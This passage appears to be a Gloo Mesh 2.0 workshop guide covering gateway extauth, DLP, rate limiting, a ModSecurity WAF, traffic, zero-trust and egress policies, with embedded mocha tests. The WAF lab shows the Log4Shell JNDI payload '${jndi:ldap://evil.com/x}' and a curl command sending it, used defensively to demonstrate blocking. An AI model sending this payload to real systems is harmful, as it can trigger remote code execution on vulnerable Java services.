const cookieString_user1 = process.env.USER1_TOKEN; + const cookieString_user2 = process.env.USER2_TOKEN; + + it("The httpbin page isn't accessible with user1", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user1 }], retCode: "keycloak-session=dummy" == cookieString_user1 ? 302 : 403 })); + it("The httpbin page is accessible with user2", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user2 }], retCode: 200 })); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-oauth/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> +If you open the browser in incognito and login using the username `user2` and the password `password`, you will now be able to access it since the user's email ends with `@solo.io`. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `extauth` Pod to authorize the request): + +![Gloo Mesh Gateway Extauth](images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg) + + + + +## Lab 15 - Use the transformation filter to manipulate headers + + +In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one: + +Let's create a `TransformationPolicy` to extract the claim. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Tranformation is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The new header has been added', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: '"X-Organization": "solo.io"' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-transformation/tests/header-added.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Use the DLP policy to mask sensitive data +[VIDEO LINK](https://youtu.be/Uark0F4g47s "Video Link") + + +Now that we learnt how to put user information from the JWT to HTTP headers visible to the applications, those same applications could return sensitive or protected user information in the responses. + +In this step, we're going to use a Data Loss Prevention (DLP) Policy to mask data in response bodies and headers. + +Let's create a `DLPPolicy` to mask protected user information. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("DLP Policy", function () { + const cookieString = process.env.USER2_TOKEN; + + it('Email is masked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: 'XXXXXXXXXX.io' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dlp/tests/email-masked.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 17 - Apply rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the `solo.io` organization. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Rate limiting is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 3 time and a `429` response code after. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `rate limiter` Pod to determine if the request should be allowed): + +![Gloo Mesh Gateway Rate Limiting](images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg) + +Let's apply the original `RouteTable` yaml: +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/9q2TxtBDqrA "Video Link") + +A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them. + +Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections. + +An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)), which for many enterprises was a major ordeal that took weeks and months of updating all services. + +The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit. + +Using the Web Application Firewall capabilities you can reject requests containing such headers. + +Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: `${jndi:ldap://evil.com/x}`. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code. + +Create the WAF policy: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("WAF is working properly", function() { + it('The request has been blocked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'x-my-header', value: '${jndi:ldap://evil.com/x}'}], body: 'Log4Shell malicious payload' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-waf/tests/waf.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following command to simulate an attack: + +```bash +curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://cluster1-httpbin.example.com/get" -i +``` + +The request should be rejected: + +```,nocopy +HTTP/2 403 +content-length: 27 +content-type: text/plain +date: Tue, 05 Apr 2022 10:20:06 GMT +server: istio-envoy + +Log4Shell malicious payload +``` + +Let's apply the original `RouteTable` yaml: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + +In this lab, you will incrementally add services to the mesh. The mesh is actually integrated with the services themselves which makes it mostly transparent to the service implementation. + +Before we start, take a look at the UI Graph. You can see the gateway and the services that have interacted with it. The services are not part of the mesh yet, so you can't see the traffic between them. +![UI-no-Mesh](images/steps/adding-services-to-mesh/ui-no-mesh.png) + +## Sidecar injection + +Adding services to the mesh requires that the client-side proxies be associated with the service components and registered with the control plane. With Istio, you have several methods to inject the Envoy Proxy sidecar into the microservice Kubernetes pods: + +* Automatic sidecar injection. In this mode, the sidecar is automatically injected into the pods based on the namespace annotation. +* Manual sidecar injection. In this mode, you manually inject the sidecar into the pods. +1. To enable the automatic sidecar injection, use the command below to add the label `istio.io/rev` to the `bookinfo-frontends` namespace: + +```bash +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 +kubectl --context ${CLUSTER2} label namespace bookinfo-frontends istio.io/rev=1-19 +``` + +2. Validate the namespace is annotated with the `istio.io/rev` label: + +```shell +kubectl --context ${CLUSTER1} get namespace -L istio.io/rev +kubectl --context ${CLUSTER2} get namespace -L istio.io/rev +``` +Now that you have a namespace with automatic sidecar injection enabled, you are ready to start adding services to the mesh. Since you added the istio.io/rev label to the namespace, the Istio mutating admission controller automatically injects the Envoy Proxy sidecar during the initial deployment or restart of the pod. + +## Adding services to the mesh +1. You can add a sidecar to each of the services in the `bookinfo-frontends` namespace, starting with the `productpage-v1` service: + +```bash +kubectl --context ${CLUSTER1} rollout restart deployment productpage-v1 -n bookinfo-frontends +kubectl --context ${CLUSTER2} rollout restart deployment productpage-v1 -n bookinfo-frontends +``` + + +2. Validate the `productpage` pod is running with Istio's default sidecar proxy injected: + +```shell +kubectl --context ${CLUSTER1} get pod -l app=productpage -n bookinfo-frontends +kubectl --context ${CLUSTER2} get pod -l app=productpage -n bookinfo-frontends +``` + +You should see `2/2` in the output. This indicates the sidecar proxy is running alongside the `productpage` application container in the `productpage` pod: +```text,nocopy +NAME READY STATUS RESTARTS AGE +productpage-7d5ccfd7b4-m7lkj 2/2 Running 0 9m4s +``` + +3. Validate the `productpage` pod log looks good: + +```shell +kubectl --context ${CLUSTER1} logs deploy/productpage-v1 -c productpage -n bookinfo-frontends +``` + +4. Validate you can continue to call the `productpage` service securely: + +[http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage) + +## Add more services to the Istio service mesh + +Now that you have added the `productpage` service to the mesh, you can add the other services to the mesh as well. The `details`, `reviews`, and `ratings` services are part of the `bookinfo-backends` namespace. + +1. First, you need to annotate the `bookinfo-backends` namespace to enable automatic sidecar injection: + +```bash +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 +kubectl --context ${CLUSTER2} label namespace bookinfo-backends istio.io/rev=1-19 +``` + +2. Next, you can add the `istio-proxy` sidecar to the other services in the `bookinfo-backends` namespace + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout restart deployment +kubectl --context ${CLUSTER2} -n bookinfo-backends rollout restart deployment +``` + + +3. Validate that all the pods in the `bookinfo-backends` namespace are running with Istio's default sidecar proxy injected: + +```shell +kubectl --context ${CLUSTER1} get pods -n bookinfo-backends +kubectl --context ${CLUSTER2} get pods -n bookinfo-backends +``` + +4. Verify that you can continue to call the `productpage` service securely: + +[http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage) + +## What have you gained? + +One of the values of using a service mesh is that you will gain immediate insight into the behavior and interactions between your services. Istio gives you access to important telemetry data, just by adding services to the mesh. In addition, you get a lot of functionality for free, such as load balancing, circuit breaking, mutual TLS, and more. + +You can see now the services in the UI Graph, the traffic between them, and if they are healthy or not. +![UI-Mesh](images/steps/adding-services-to-mesh/ui-mesh.png) + + + + + + +## Lab 20 - Traffic policies +[VIDEO LINK](https://youtu.be/ZBdt8WA0U64 "Video Link") + +We're going to use Gloo Mesh policies to inject faults and configure timeouts. + +Let's create the following `FaultInjectionPolicy` to inject a delay when the `v2` version of the `reviews` service talk to the `ratings` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const chaiHttp = require("chai-http"); +chai.use(chaiHttp); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +afterEach(function (done) { + if (this.currentTest.currentRetry() > 0) { + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } +}); + +let searchTest="Sorry, product reviews are currently unavailable for this book."; + +describe("Reviews shouldn't be available", () => { + it("Checking text '" + searchTest + "' in cluster1", async () => { + await chai.request(`https://cluster1-bookinfo.example.com`) + .get('/productpage') + .send() + .then((res) => { + expect(res.text).to.contain(searchTest); + }); + }); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/traffic-policies/tests/traffic-policies-reviews-unavailable.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh the page several times, you'll see an error message telling that reviews are unavailable when the productpage is trying to communicate with the version `v2` of the `reviews` service. + +![Bookinfo reviews unavailable](images/steps/traffic-policies/reviews-unavailable.png) + +This diagram shows where the timeout and delay have been applied: + +![Gloo Mesh Traffic Policies](images/steps/traffic-policies/gloo-mesh-traffic-policies.svg) + +Let's delete the Gloo Mesh objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete faultinjectionpolicy ratings-fault-injection +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete routetable ratings +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete retrytimeoutpolicy reviews-request-timeout +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete routetable reviews +``` + + + +## Lab 21 - Create the Root Trust Policy +[VIDEO LINK](https://youtu.be/-A2U2fYYgrU "Video Link") + +To allow secured (end-to-end mTLS) cross cluster communications, we need to make sure the certificates issued by the Istio control plane on each cluster are signed with intermediate certificates which have a common root CA. + +Gloo Mesh fully automates this process. + + + +Run the following command to create the *Root Trust Policy*: + +```bash +kubectl apply --context ${MGMT} -f - </dev/null +do + printf "%s" "." + sleep 1 +done +printf "\n" + +printf "\nWaiting until the secret is created in $CLUSTER2" +until kubectl --context ${CLUSTER2} get secret -n istio-system cacerts &>/dev/null +do + printf "%s" "." + sleep 1 +done +printf "\n" +--> + + + + + + + + + + + + + + +We also need to make sure we restart our `in-mesh` deployment because it's not yet part of a `Workspace`: + +```bash +kubectl --context ${CLUSTER1} -n httpbin rollout restart deploy/in-mesh +``` + + + + +## Lab 22 - Leverage Virtual Destinations for east west communications + +We can create a Virtual Destination which will be composed of the `reviews` services running in both clusters. + +Let's create this Virtual Destination. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("The productpage service should get responses from cluster2", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}' --context " + process.env.CLUSTER1 }).replaceAll("'", ""); + const command = "kubectl -n bookinfo-frontends exec " + podName + " --context " + process.env.CLUSTER1 + " -- python -c \"import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)\""; + it('Got a response from cluster1', () => helpers.genericCommand({ command: command, responseContains: "cluster1" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/east-west-virtual-destination/tests/reviews-from-cluster1.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +It's nice, but you generally want to direct the traffic to the local services if they're available and failover to the remote cluster only when they're not. + +In order to do that we need to create 2 other policies. + +The first one is a `FailoverPolicy`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("The productpage service should get responses from cluster2", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}' --context " + process.env.CLUSTER1 }).replaceAll("'", ""); + const command = "kubectl -n bookinfo-frontends exec " + podName + " --context " + process.env.CLUSTER1 + " -- python -c \"import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)\""; + it('Got a response from cluster1', () => helpers.genericCommand({ command: command, responseContains: "cluster1" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/east-west-virtual-destination/tests/reviews-from-cluster1.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Now, if you try to access the `reviews` service, you should only get responses from `cluster1`. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +If the `reviews` service doesn't exist on the first cluster, the `productpage` service of this cluster will automatically use the `reviews` service running on the other cluster. + +Let's try this: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v1 --replicas=0 +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v2 --replicas=0 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.spec.replicas}'=0 deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.spec.replicas}'=0 deploy/reviews-v2 +``` + + + +You can still access the reviews application even if the `reviews` service isn't running in `cluster1` anymore. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +Let's restart the `reviews` services: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v1 --replicas=1 +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v2 --replicas=1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/reviews-v2 +``` + +But what happens if the `reviews` services is running, but is unavailable ? + +Let's try! + +The following commands will patch the deployments to run a new version which won't respond to the incoming requests. + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deploy reviews-v1 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "reviews","command": ["sleep", "20h"]}]}}}}' +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deploy reviews-v2 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "reviews","command": ["sleep", "20h"]}]}}}}' +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v2 +``` + + + +You can still access the bookinfo application. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +Run the following commands to make the `reviews` service available again in the first cluster + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deployment reviews-v1 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]' +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deployment reviews-v2 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]' +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v2 +``` + +Let's delete the different objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends delete virtualdestination reviews +kubectl --context ${CLUSTER1} -n bookinfo-backends delete failoverpolicy failover +kubectl --context ${CLUSTER1} -n bookinfo-backends delete outlierdetectionpolicy outlier-detection +``` + + + +## Lab 23 - Zero trust +[VIDEO LINK](https://youtu.be/BiaBlUaplEs "Video Link") + +In the previous step, we federated multiple meshes and established a shared root CA for a shared identity domain. + +All the communications between Pods in the mesh are now encrypted by default, but: + +- communications between services that are in the mesh and others which aren't in the mesh are still allowed and not encrypted +- all the services can talk together + +Let's validate this. + + +Run the following commands to initiate a communication from a service which isn't in the mesh to a service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=${registry}/curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + +You should get a `200` response code which confirm that the communication is currently allowed. + + + +Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=${registry}/curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + + + +You should get a `200` response code again. + +To enfore a zero trust policy, it shouldn't be the case. + +We'll leverage the Gloo Mesh workspaces to get to a state where: + +- communications between services which are in the mesh and others which aren't in the mesh aren't allowed anymore +- communications between services in the mesh are allowed only when services are in the same workspace or when their workspaces have import/export rules. + +The Bookinfo team must update its `WorkspaceSettings` Kubernetes object to enable service isolation. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); +describe("Communication not allowed", () => { + it("Response code shouldn't be 200", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}'" }).replaceAll("'", ""); + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n httpbin debug -i -q " + podName + " --image=" + process.env.registry + "/curlimages/curl -- curl -s -o /dev/null -w \"%{http_code}\" --max-time 3 http://reviews.bookinfo-backends:9080/reviews/0" }).replaceAll("'", ""); + expect(command).not.to.contain("200"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/zero-trust/tests/not-in-mesh-to-in-mesh-not-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=${registry}/curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + + + +You shouldn't get a `200` response code, which means that the communication isn't allowed. + +You've see seen how Gloo Platform can help you to enforce a zero trust policy (at workspace level) with nearly no effort. + +Now we are going to define some additional policies to achieve zero trust at service level. + +We are going to define AccessPolicies from the point of view of a service producers. + +> I am owner of service A, which services needs to communicate with me? + +![Gloo Mesh Gateway](images/steps/zero-trust/gloo-mesh-gateway.svg) + +Productpage app is the only service which is exposed to the internet, so we will create an `AccessPolicy` to allow the Istio Ingress Gateway to forward requests to the productpage service. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + + it("Response code shouldn't be 200 accessing ratings", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://ratings.bookinfo-backends:9080/ratings/0', timeout=3); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).not.to.contain("200"); + }); + + it("Response code should be 200 accessing reviews with GET", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://reviews.bookinfo-backends:9080/reviews/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); + + it("Response code should be 403 accessing reviews with HEAD", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.head('http://reviews.bookinfo-backends:9080/reviews/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("403"); + }); + + it("Response code should be 200 accessing details", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://details.bookinfo-backends:9080/details/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/zero-trust/tests/bookinfo-access.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's rollback the change we've made in the `WorkspaceSettings` object: + +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/tQermml1Ryo "Video Link") + + +In this step, we're going to secure the egress traffic. + +We're going to deploy an egress gateway, configure Kubernetes `NetworkPolicies` to force all the traffic to go through it and implement some access control at the gateway level. + + + +The gateways team is going to deploy an egress gateway: + +```bash +kubectl apply --context ${MGMT} -f - < + +You should get an output similar to: + +```,nocopy +NAME READY STATUS RESTARTS AGE +istio-egressgateway-1-17-55fcbddd96-bwntr 1/1 Running 0 25m +``` + +Then, the gateway team needs to create a `VirtualGateway` and can define which hosts can be accessed through it: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication not allowed", () => { + it("Productpage can NOT send requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get', timeout=5); print(r.text)\"" }).replaceAll("'", ""); + expect(command).not.to.contain("User-Agent"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-not-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +It's not working. + +You can now create an `ExternalService` to expose `httpbin.org` through the egress gateway: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + it("Productpage can send requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Now, it works! + +And you can run the following command to check that the request went through the egress gateway: + +```shell +kubectl --context ${CLUSTER1} -n istio-gateways logs -l istio=egressgateway --tail 1 +``` + +Here is the expected output: + +```,nocopy +[2023-05-11T20:10:30.274Z] "GET /get HTTP/1.1" 200 - via_upstream - "-" 0 3428 793 773 "10.102.1.127" "python-requests/2.28.1" "e6fb42b7-2519-4a59-beb8-0841380d445e" "httpbin.org" "34.193.132.77:443" outbound|443||httpbin.org 10.102.2.119:39178 10.102.2.119:8443 10.102.1.127:48388 httpbin.org - +``` + +The gateway team can also restrict which HTTP method can be used by the Pods when sending requests to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + it("Productpage can send GET requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://httpbin.org/get'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); + + it("Productpage can't send POST requests to httpbin.org", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.post('http://httpbin.org/post'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("403"); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/secure-egress/tests/productpage-to-httpbin-only-get-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You can still send GET requests to the `httpbin.org` site from the `productpage` Pod: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.get('http://httpbin.org/get'); print(r.text)" +``` + +But you can't send POST requests to the `httpbin.org` site from the `productpage` Pod: + +```shell +kubectl --context ${CLUSTER1} -n bookinfo-frontends exec $(kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}') -- python -c "import requests; r = requests.post('http://httpbin.org/post'); print(r.text)" +``` + +You'll get the following response: + +```,nocopy +RBAC: access denied +``` + +Let's delete the Gloo Mesh objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete networkpolicy restrict-egress +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete externalservice httpbin +kubectl --context ${CLUSTER1} -n istio-gateways delete accesspolicy allow-get-httpbin +``` + + + +## Lab 25 - VM integration with Spire + +Let's see how we can configure a VM to be part of the Mesh. + +To make it easier (and more fun), we'll use a Docker container to simulate a VM. + +The certificates will be generated by the Spire server. 